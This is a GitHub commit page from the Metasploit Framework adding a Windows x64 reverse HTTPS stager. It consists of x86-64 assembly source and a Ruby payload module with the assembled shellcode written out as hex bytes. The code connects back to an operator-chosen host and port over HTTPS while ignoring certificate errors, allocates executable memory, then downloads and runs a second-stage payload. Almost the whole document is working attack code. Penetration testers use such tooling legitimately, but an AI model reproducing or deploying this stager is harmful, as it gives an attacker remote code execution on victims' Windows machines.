Skip to content

Commit dc014ed

Browse files
author
Tod Beardsley
committed
Land rapid7#1821, x64_reverse_https payload
2 parents d0489b5 + 67128a3 commit dc014ed

File tree

4 files changed

+279
-0
lines changed

4 files changed

+279
-0
lines changed
Binary file not shown.
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Rewrited to x64 by agix
4+
; Compatible: Windows 7
5+
; Architecture: x64
6+
;-----------------------------------------------------------------------------;
7+
[BITS 64]
8+
9+
; Input: RBP must be the address of 'api_call'.
10+
; Output: RDI will be the socket for the connection to the server
11+
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15
12+
13+
load_wininet:
14+
; setup the structures we need on the stack...
15+
mov r14, 'wininet'
16+
push r14 ; Push the bytes 'wininet',0 onto the stack.
17+
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
18+
mov rcx, r14 ; set the param for the library to load
19+
mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
20+
call rbp ; LoadLibraryA( "ws2_32" )
21+
22+
internetopen:
23+
push byte 0 ; NULL pointer
24+
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
25+
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
26+
xor r8, r8 ; LPCTSTR lpszProxyName
27+
xor r9, r9 ; LPCTSTR lpszProxyBypass
28+
push r8 ; DWORD dwFlags
29+
push r8 ; alignment
30+
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
31+
call rbp
32+
33+
jmp dbl_get_server_host
34+
35+
internetconnect:
36+
pop rdx ; LPCTSTR lpszServerName
37+
mov rcx, rax ; HINTERNET hInternet
38+
mov r8, 4444 ; PORT
39+
xor r9, r9 ; LPCTSTR lpszUsername
40+
push r9 ; DWORD_PTR dwContext (NULL)
41+
push r9 ; DWORD dwFlags
42+
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
43+
push r9 ; alignment
44+
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
45+
call rbp
46+
47+
jmp get_server_uri
48+
49+
httpopenrequest:
50+
mov rcx, rax ; HINTERNET hConnect
51+
xor rdx, rdx ; LPCTSTR lpszVerb
52+
pop r8 ; LPCTSTR lpszObjectName
53+
xor r9, r9 ; LPCTSTR lpszVersion
54+
push rdx ; DWORD_PTR dwContext
55+
push qword (0x0000000080000000 | 0x0000000004000000 | 0x0000000000800000 | 0x0000000000200000 | 0x0000000000001000 |0x0000000000002000 |0x0000000000000200) ; dwFlags
56+
;0x80000000 | ; INTERNET_FLAG_RELOAD
57+
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
58+
;0x00800000 | ; INTERNET_FLAG_SECURE
59+
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
60+
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
61+
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
62+
;0x00000200 ; INTERNET_FLAG_NO_UI
63+
push rdx ; LPCTSTR *lplpszAcceptTypes
64+
push rdx ; LPCTSTR lpszReferer
65+
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
66+
call rbp
67+
mov rsi, rax
68+
69+
retry:
70+
push byte 10
71+
pop rdi
72+
73+
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
74+
internetsetoption:
75+
mov rcx, rsi ; HINTERNET hInternet
76+
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
77+
push qword 0x00003380
78+
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
79+
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
80+
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
81+
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
82+
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
83+
mov r8, rsp
84+
mov r9, 4 ; sizeof(dwFlags)
85+
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
86+
call rbp
87+
88+
httpsendrequest:
89+
mov rcx, rsi ; HINTERNET hRequest
90+
xor rdx, rdx ; LPCTSTR lpszHeaders
91+
xor r8, r8 ; DWORD dwHeadersLength
92+
xor r9, r9 ; LPVOID lpOptional
93+
push rdx ; DWORD dwOptionalLength
94+
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
95+
call rbp
96+
test eax,eax
97+
jnz short allocate_memory
98+
99+
try_it_again:
100+
dec rdi
101+
jz failure
102+
jmp short internetsetoption
103+
104+
dbl_get_server_host:
105+
jmp get_server_host
106+
107+
get_server_uri:
108+
call httpopenrequest
109+
110+
server_uri:
111+
db "/12345", 0x00
112+
113+
failure:
114+
mov r14, 0x56A2B5F0 ; hardcoded to exitprocess for size
115+
call rbp
116+
117+
allocate_memory:
118+
xor rcx, rcx ; LPVOID lpAddress
119+
mov rdx, 0x00400000 ; SIZE_T dwSize
120+
mov r8, 0x1000 ; DWORD flAllocationType(MEM_COMMIT)
121+
mov r9, 0x40 ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
122+
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
123+
call rbp
124+
125+
download_prep:
126+
xchg rax, rbx ; place the allocated base address in ebx
127+
push rbx ; store a copy of the stage base address on the stack
128+
push rbx ; temporary storage for bytes read count
129+
mov rdi, rsp ; &bytesRead
130+
131+
download_more:
132+
mov rcx, rsi ; HINTERNET hFile
133+
mov rdx, rbx ; LPVOID lpBuffer
134+
mov r8, 8192 ; DWORD dwNumberOfBytesToRead
135+
mov r9, rdi ; LPDWORD lpdwNumberOfBytesRead
136+
mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
137+
call rbp
138+
add rsp, 32 ; clean reserverd space
139+
140+
test eax,eax ; download failed? (optional?)
141+
jz failure
142+
143+
mov rax, [rdi]
144+
add rbx, rax ; buffer += bytes_received
145+
146+
test rax,rax ; optional?
147+
jnz download_more ; continue until it returns 0
148+
pop rax ; clear the temporary storage
149+
pop rax ; f*cking alignment
150+
151+
execute_stage:
152+
ret ; dive into the stored stage address
153+
154+
get_server_host:
155+
call internetconnect
156+
157+
server_host:
158+
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Rewrited to x64 by agix
4+
; Compatible: Windows 7
5+
; Architecture: x64
6+
; Size: 570 bytes
7+
; Build: >build.py stager_reverse_https
8+
;-----------------------------------------------------------------------------;
9+
10+
[BITS 64]
11+
[ORG 0]
12+
13+
cld ; Clear the direction flag.
14+
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
15+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
16+
%include "./src/block/block_api.asm"
17+
start: ;
18+
pop rbp ; pop off the address of 'api_call' for calling later.
19+
%include "./src/block/block_reverse_https.asm"
20+
; By here we will have performed the reverse_tcp connection and EDI will be our socket
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'msf/core/handler/reverse_https'
11+
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Stager
16+
include Msf::Payload::Windows
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Windows x64 Reverse HTTPS Stager',
21+
'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
22+
'Author' => 'hdm (x64 rewrite by agix)',
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86_64,
26+
'Handler' => Msf::Handler::ReverseHttps,
27+
'Convention' => 'sockrdi https',
28+
'Stager' =>
29+
{
30+
'Offsets' =>
31+
{
32+
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
33+
# 'EXITFUNC' => [ 290, 'V' ],
34+
'LPORT' => [ 282, 'v' ], # Not a typo, really little endian
35+
},
36+
'Payload' =>
37+
"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
38+
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
39+
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
40+
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
41+
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" +
42+
"\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" +
43+
"\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" +
44+
"\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" +
45+
"\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" +
46+
"\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" +
47+
"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
48+
"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
49+
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
50+
"\xFF\xFF\x5D\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" +
51+
"\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" +
52+
"\xD5\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" +
53+
"\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5\xE9" +
54+
"\x9B\x00\x00\x00\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" +
55+
"\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" +
56+
"\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5\xEB\x79\x48\x89\xC1\x48\x31" +
57+
"\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" +
58+
"\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" +
59+
"\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00\x68\x80\x33" +
60+
"\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" +
61+
"\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" +
62+
"\xD2\x4D\x31\xC0\x4D\x31\xC9\x52\x49\xBA\x2D\x06\x18\x7B\x00\x00" +
63+
"\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1\xE9" +
64+
"\x81\x00\x00\x00\xE8\x82\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00" +
65+
"\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" +
66+
"\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" +
67+
"\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" +
68+
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
69+
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
70+
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
71+
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
72+
"\x75\xCE\x58\x58\xC3\xE8\xDA\xFE\xFF\xFF"
73+
}
74+
))
75+
end
76+
77+
#
78+
# Do not transmit the stage over the connection. We handle this via HTTPS
79+
#
80+
def stage_over_connection?
81+
false
82+
end
83+
84+
#
85+
# Generate the first stage
86+
#
87+
def generate
88+
p = super
89+
i = p.index("/12345\x00")
90+
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
91+
p[i, u.length] = u
92+
p + datastore['LHOST'].to_s + "\x00"
93+
end
94+
95+
#
96+
# Always wait at least 20 seconds for this payload (due to staging delays)
97+
#
98+
def wfs_delay
99+
20
100+
end
101+
end

0 commit comments

Comments
 (0)